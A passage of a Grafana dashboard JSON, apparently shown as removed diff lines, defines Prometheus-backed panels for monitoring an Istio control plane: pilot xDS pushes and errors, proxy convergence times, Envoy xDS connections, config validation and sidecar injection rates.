"barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 12, - "y": 7 - }, - "id": 7, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Discovery", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar", - "range": true, - "refId": "A" - } - ], - "title": "Disk", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 18, - "y": 7 - }, - "id": 4, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": false - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_goroutines{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Number of Goroutines", - "range": true, - "refId": "A", - "step": 2 - } - ], - "title": "Goroutines", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 14 - }, - "id": 58, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Pilot Push Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the rate of pilot pushes", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "bars", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 15 - }, - "id": 622, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"cds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Cluster", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"eds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Endpoints", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"lds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Listeners", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"rds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Routes", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"sds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Secrets", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"nds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Nametables", - "range": true, - "refId": "F" - } - ], - "title": "Pilot Pushes", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Captures a variety of pilot errors", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 15 - }, - "id": 67, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected CDS Configs", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected EDS Configs", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected RDS Configs", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_lds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_lds_reject{app=\"istiod\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected LDS Configs", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Write Timeouts", - "range": true, - "refId": "F" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_internal_errors{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Internal Errors", - "range": true, - "refId": "H" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_rejects{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Config Rejection Rate", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "expr": "sum(rate(pilot_xds_push_context_errors{app=\"istiod\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Push Context Errors", - "refId": "K" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Push Timeouts", - "range": true, - "refId": "G" - } - ], - "title": "Pilot Errors", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the total time it takes to push a config update to a proxy", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 15 - }, - "id": 624, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.5, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p50 ", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.9, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.99, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.999, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99.9", - "range": true, - "refId": "D" - } - ], - "title": "Proxy Push Time", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 45, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_inbound_listener{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Inbound Listeners", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_http_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (http over current tcp)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current tcp)", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_http{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current http)", - "range": true, - "refId": "D" - } - ], - "title": "Conflicts", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 23 - }, - "id": 47, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_virt_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Virtual Services", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Services", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds{app=\"istiod\", cluster=~\"$cluster\"}) by (pod)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Connected Endpoints {{pod}}", - "range": true, - "refId": "E" - } - ], - "title": "ADS Monitoring", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 31 - }, - "id": 64, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Envoy Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows details about Envoy proxies in the mesh", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 32 - }, - "id": 40, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connections", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_connect_fail{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connection Failures", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(increase(envoy_server_hot_restart_epoch{cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Envoy Restarts", - "range": true, - "refId": "B" - } - ], - "title": "Envoy Details", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 32 - }, - "id": 41, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(envoy_cluster_upstream_cx_active{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "XDS Active Connections", - "range": true, - "refId": "C", - "step": 2 - } - ], - "title": "XDS Active Connections", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the size of XDS requests and responses", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "Bps" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 32 - }, - "id": 42, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Max", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(0.5, rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Average", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Max", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(.5, rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Average", - "range": true, - "refId": "C" - } - ], - "title": "XDS Requests Size", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 40 - }, - "id": 626, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Webhooks", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 41 - }, - "id": 629, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_passed[1m]))", - "interval": "", - "legendFormat": "Validations (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_failed[1m]))", - "interval": "", - "legendFormat": "Validation (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Configuration Validation", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 41 - }, - "id": 630, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_success_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_failure_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Sidecar Injection", - "type": "timeseries" - } - ], - "refresh": "5s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "istio", - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "multi": false, - "name": "datasource", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": {}, - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "definition": "label_values(istio_agent_pilot_xds, cluster)", - "hide": 0, - "includeAll": false, - "label": "Cluster", - "multi": true, - "name": "cluster", - "options": [], - "query": { - "query": "label_values(istio_agent_pilot_xds, cluster)", - "refId": "StandardVariableQuery" - }, - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "sort": 0, - "type": "query" - } - ] - }, - "time": { - "from": "now-15m", - "to": "now" - }, - "timepicker": { - "refresh_intervals": [ - "5s", - "10s", - "30s", - "1m", - "5m", - "15m", - "30m", - "1h", - "2h", - "1d" - ], - "time_options": [ - "5m", - "15m", - "1h", - "6h", - "12h", - "24h", - "2d", - "7d", - "30d" - ] - }, - "timezone": "browser", - 